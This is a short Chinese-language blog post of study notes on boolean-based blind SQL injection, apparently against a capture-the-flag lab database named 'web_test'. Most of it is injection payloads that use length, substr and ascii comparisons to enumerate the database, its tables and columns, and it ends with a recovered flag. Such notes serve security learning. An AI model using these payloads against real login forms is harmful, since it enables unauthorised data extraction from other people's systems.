sql盲注学习

Posted 2021-01-26 0xthonsun

information_schema.schemata(schema_name)
information_schema.tables(table_name,table_schema)
information_schema.columns(column_name,table_name)

盲注与poc编写：https://bbs.ichunqiu.com/thread-31587-1-1.html

基于bool报错的sql注入：
了解sql语句的嵌套与sql常用函数：http://blog.51cto.com/bxbx258/106008、
mysql中的字符集与常用字符编码绕过：
ascii():http://tool.oschina.net/commons?type=4
在前端：html实体编码：&#xx,js:uxx,url:%xx [0-255]
在php与MySQL中：可以注入十六进制字符串：uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

猜数据库：字符长度，具体字符
-1‘ or length(database())=10# 8
-1‘ or left(database(),1)>‘m‘#

abcdef ghijklm nopqr stuvwxyz

admin‘ or left(database(),2)>|=‘we‘# admin‘ or left(database(),8)=‘web_test‘#

猜数据库中的表：
admin‘ or length(select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1)>10#

admin‘ or length((select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1))=4# user 注意这个必须为两个括号

admin‘ or ascii(substr((select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1),1,1))=117#
admin‘ or substr((select table_name from information_schema.tables where table_schema=‘web_test‘ limit 0,1),1,4)=‘USER‘#
web_test.flag
猜字段
admin‘ or (select count(column_name) from information_schema.columns where table_name=‘flag‘)>10# 猜数目

admin‘ or length((select column_name from information_schema.columns where table_name=‘flag‘))>5# 猜长度4
admin‘ or substr((select column_name from information_schema.columns where table_name=‘flag‘),1,4)=‘flag‘#

admin‘ or ascii(substr((select flag from web_test.flag),1,1))>32#
flag{8o5_1s_th3_b3st_c1ass}